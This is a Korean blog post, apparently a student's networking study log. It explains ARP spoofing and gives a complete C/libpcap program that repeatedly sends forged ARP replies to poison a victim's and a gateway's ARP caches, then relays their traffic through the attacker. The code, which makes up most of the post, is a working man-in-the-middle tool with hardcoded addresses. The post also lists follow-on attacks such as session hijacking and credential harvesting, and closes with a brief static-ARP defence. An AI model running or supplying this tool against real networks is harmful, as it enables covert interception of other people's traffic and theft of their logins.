ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [C / lpcap] ARP Spoofing
    Network/NetProg 2017. 12. 14. 23:12

    안녕하세요. 오랜만에 글을 씁니다.

    처음에 윈도우환경에서 ARP Spoofing툴을 만들다가 라이브러리 지원한계 때문에 Ubuntu로 넘어갔습니다.

    다른 공부하는 분들도 ARP Spoofing처럼 Pcap을 이용해서 개발하실 때는 Ubuntu에서 하시는걸 추천드립니다!


    우선 ARP Spoofing에 대해서 간단히 설명하자면


    *정상적인 패킷흐름*                                 ARP SPOOFING                                    *비정상적인 패킷흐름*

    VICTIM <-> GATEWAY                             ----------------->                        VICTIM <-> ATTACKER <-> GATEWAY

    위 처럼 중간에 ATTACKER를 지나서 패킷이 흐르게 됩니다.

    이렇게 되면 공격자 입장에서는 VICTIM의 패킷을 전부 훔쳐볼 수 있게되는거죠.


    어떻게 이런 공격이 가능할까요?


    ARP Protocol이 동적인 부분을 이용해서 VICTIM에게 '내가 GATEWAY야!' 라고 보내면

    ARP는 진짜인지 아닌지 확인할 방법이 없기 때문에 바로 ARP테이블에 반영하게 됩니다.


    이렇게 VICTIM에게는 '내가 GATEWAY야!' / GATEWAY에게는 '내가 VICTIM이야!' 라고 계속 보내주면

    그게 진짜라고 생각하고 모든패킷을 ATTACKER에게 보내주게 되는겁니다.


    *ARP Spoofing 공격 과정*


    1. ARP패킷을 VICTIM / GATEWAY에게 보내서 Cache Poisoning을 1차적으로 합니다.

    -> 이 단계에서는 VICTIM / GATEWAY의 ARP테이블은 바뀌겠지만, 인터넷 통신이 안되서 감염사실을 알아차리게 됩니다.


    2. VICTIM에게 오는 패킷은 GATEWAY로 / GATEWAY에서 오는 패킷은 VICTIM으로 보냅니다.

    -> 이렇게 패킷 릴레이를 해줘야 VICTIM이 정상적으로 인터넷통신이 가능해집니다.


    이론적으로는 굉장히 쉬운 공격이지만, 코드로 직접 툴을 짜려니까 꽤 오래 걸렸습니다...


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    #include <stdio.h>
    #include <stdlib.h>
    #include <pcap.h>
    #include <netinet/in.h>
    #include <string.h>
    #include <unistd.h>
    #include <pthread.h>
    #include <netinet/ether.h>
    #include <netinet/if_ether.h>
    #include <arpa/inet.h>
     
    #define BUF_SIZE 100
    #define SNAPLEN 1024
     
    //전역변수로 생성
    pcap_t *use_dev;
     
    // 첫번째 Thread VICTIM 담당
    void *Arp_send_VICTIM(void *arg)
    {
     
        unsigned char packet[100]={0,};
            packet[0= 0x40;
            packet[1= 0x8d;
            packet[2= 0x5c;
            packet[3= 0x69;
            packet[4= 0x2e;
            packet[5= 0x7a;
     
     
            packet[6= 0x00;
            packet[7= 0x0c;
            packet[8= 0x29;
            packet[9= 0x05;
            packet[10= 0x6d;
            packet[11= 0xa8;
     
            //ether_type (ARP로 설정)
            packet[12= 0x08;
            packet[13= 0x06;
     
            //hrd_type (Ethernet로 설정)
            packet[14= 0x00;
            packet[15= 0x01;
     
            //proto_type (IPv4 로 설정)
            packet[16= 0x08;
            packet[17= 0x00;
     
            //hrd_size (6)
            packet[18= 0x06;
            //proto_size (4)
            packet[19= 0x04;
     
            //Opcode (request)
            packet[20= 0x00;
            packet[21= 0x01;
     
            // Sender MAC (My mac)
            packet[22= 0x00;
            packet[23= 0x0c;
            packet[24= 0x29;
            packet[25= 0x05;
            packet[26= 0x6d;
            packet[27= 0xa8;
            //Sender IP (MY ip)
            packet[28= 10;
            packet[29= 100;
            packet[30= 114;
            packet[31= 1;
     
            //Target MAC
            packet[32= 0x40;
            packet[33= 0x8d;
            packet[34= 0x5c;
            packet[35= 0x69;
            packet[36= 0x2e;
            packet[37= 0x7a;
            //Target IP
            packet[38= 10;
            packet[39= 100;
            packet[40= 114;
            packet[41= 253;
     
            while(1)
            {
                if(pcap_sendpacket(use_dev,packet,42)!=0)
                {
                    printf("SEND PACKET ERROR!\n");
                    pthread_exit(NULL);
                }
                printf("VICTIM_ARP\n");
                sleep(1);
            }
        pthread_exit(NULL);
     
    }
     
    //두번째 Thread GATEWAY 담당
    void *Arp_send_GATEWAY(void *arg)
    {
        unsigned char packet[100]={0,};
            packet[0= 0x10;
            packet[1= 0x0e;
            packet[2= 0x7e;
            packet[3= 0x2a;
            packet[4= 0x48;
            packet[5= 0x01;
     
     
            packet[6= 0x00;
            packet[7= 0x0c;
            packet[8= 0x29;
            packet[9= 0x05;
            packet[10= 0x6d;
            packet[11= 0xa8;
     
            //ether_type (ARP로 설정)
            packet[12= 0x08;
            packet[13= 0x06;
     
            //hrd_type (Ethernet로 설정)
            packet[14= 0x00;
            packet[15= 0x01;
     
            //proto_type (IPv4 로 설정)
            packet[16= 0x08;
            packet[17= 0x00;
     
            //hrd_size (6)
            packet[18= 0x06;
            //proto_size (4)
            packet[19= 0x04;
     
            //Opcode (request)
            packet[20= 0x00;
            packet[21= 0x01;
     
            // Sender MAC (My mac)
            packet[22= 0x00;
            packet[23= 0x0c;
            packet[24= 0x29;
            packet[25= 0x05;
            packet[26= 0x6d;
            packet[27= 0xa8;
            //Sender IP (MY ip)
            packet[28= 10;
            packet[29= 100;
            packet[30= 114;
            packet[31= 253;
     
            //Target MAC
            packet[32= 0x10;
            packet[33= 0x0e;
            packet[34= 0x7e;
            packet[35= 0x2a;
            packet[36= 0x48;
            packet[37= 0x01;
            //Target IP
            packet[38= 10;
            packet[39= 100;
            packet[40= 114;
            packet[41= 1;
     
            while(1)
            {
                if(pcap_sendpacket(use_dev,packet,42)!=0)
                {
                    printf("SEND PACKET ERROR!\n");
                    pthread_exit(NULL);
                }
                printf("GATEWAY_ARP\n");
                sleep(1);
            }
        pthread_exit(NULL);
    }
     
    //Thread 생성하는 함수
    void Thread_up()
    {
        pthread_t threads[2];
        if((pthread_create(&threads[0],NULL,&Arp_send_VICTIM,NULL))!=0)
        {
            printf("ERROR\n");
        }
        if((pthread_create(&threads[1],NULL,&Arp_send_GATEWAY,NULL))!=0)
        {
            printf("ERROR\n");
        }
    }
     
    //장치 설정하는 함수
    void init_dev(char **dev)
    {
        char errbuf[PCAP_ERRBUF_SIZE];
     
        *dev = pcap_lookupdev(errbuf);
     
        if(dev == NULL)
        {
            printf("%s\n",errbuf);
            exit(1);
        }
        use_dev = pcap_open_live(*dev, BUFSIZ, 11,errbuf);
     
        if(use_dev == NULL)
        {
            printf("%s\n",errbuf);
            exit(1);
        }
     
        return;
    }
     
    //필터룰 설정하는 함수
    void set_filter(char *filter, char *victim_ip)
    {
        struct bpf_program fp;
     
        printf("SET FILTERING...\n");
        strcat(filter,"host ");
        strcat(filter,victim_ip);
        printf("SET FILTER :: %s\n",filter);
     
        if(pcap_compile(use_dev,&fp,filter,SNAPLEN,1)<0)
        {
            printf("COMPILE ERROR!\n");
            exit(1);
        }
        if(pcap_setfilter(use_dev,&fp)<0)
        {
            printf("SETFILET ERROR!\n");
            exit(1);
        }
        return;
    }
    //loop함수-callback함수(패킷 릴레이처리해주는 부분)
    void callback(unsigned char *param,const struct pcap_pkthdr *header,const unsigned char *pkt_data)
    {
        struct ether_header *eh = (struct ether_header *)pkt_data;
        printf("Callbakc :: In\n");
     
        unsigned char VICTIM_MAC[6= {0x40,0x8d,0x5c,0x69,0x2e,0x7a};
        unsigned char ATTACK_MAC[6= {0x00,0x0c,0x29,0x05,0x6d,0xa8};
        unsigned char GATEWAY_MAC[6= {0x10,0x0e,0x7e,0x2a,0x48,0x01};
        if((memcmp(VICTIM_MAC,eh->ether_shost,sizeof(eh->ether_shost)))==0)
        {
            printf("VICTIM -> GATEWAY\n");
            memcpy(eh->ether_shost,ATTACK_MAC,sizeof(eh->ether_shost));
            memcpy(eh->ether_dhost,GATEWAY_MAC,sizeof(eh->ether_dhost));
        }
        if((memcmp(GATEWAY_MAC,eh->ether_shost,sizeof(eh->ether_shost)))==0)
        {
            printf("GATEWAY -> VICTIM\n");
            memcpy(eh->ether_shost,ATTACK_MAC,sizeof(eh->ether_shost));
            memcpy(eh->ether_dhost,VICTIM_MAC,sizeof(eh->ether_dhost));
        }
     
        pcap_sendpacket(use_dev,pkt_data,header->caplen);
    }
     
    int main(int argc, char **argv)
    {
        char *dev;
        char filter[BUF_SIZE]={0,};
        char victim_ip[BUF_SIZE]={0,};
     
        //인자값으로 VICTIM_IP 받음
        if(argv[1])
        {
            strcpy(victim_ip,argv[1]);
        }
        else
        {
            printf("Please enter the Victim_IP\n");
            return 1;
        }
        //디바이스 설정
        init_dev(&dev);
        //필터 설정
        set_filter(filter,victim_ip);
        //Thread 생성
        Thread_up();
        // Packet Start
        pcap_loop(use_dev,0,callback,NULL);
        pcap_close(use_dev);
     
        return 0;
     
    }
    cs


    쓰레드를 이용해서 첫번째 쓰레드는 VICTIM Poisoning / 두번째 쓰레드는 GATEWAY Poisoning을 진행하고

    들어오는 패킷은 callback함수가 릴레이해주는 식으로 코딩하였습니다.


    ARP Spoofing 공격을 1차적으로 한뒤에는 패킷을 Attacker 마음대로 변조가 가능하니 2차적인 공격이 가능하겠죠.


    예를들면

    • 악성코드 유포
    • 세션 하이재킹
    • DNS Spoofing
    • VoIP 도청
    • 로그인 정보(아이디/패스워드) 수집
    등이 가능하겠습니다. 

    ARP공격 예방법
    cmd창을 관리자모드로 연 후, arp -s [Gateway_IP] [Gateway_MAC] 명령어로 정적설정해주시면
    Gateway가 고정되기 때문에 아무리 ARP패킷이 와도 바뀌지 않습니다. 
    인터넷 환경이 자주 바뀌지 않는다면, ARP테이블을 정적으로 설정하시는게 보안에 도움이 되겠습니다.

    다음 글은 아마 프록시툴 개발이 되겠네요. 그럼 다음 글에서 봽겠습니다.

    * 해당 글에서 습득한 정보로 위법적인 행동을 금합니다.
      위법 행위를 할 시, 글 작성자와는 무관함을 알립니다.




    'Network > NetProg' 카테고리의 다른 글

    ARP Spoofing Tool ( + 자동화 , 코드 보완 )  (3) 2020.02.06
    [WINPCAP] 스니핑 프로그램  (8) 2017.10.05

    댓글

Designed by Tistory.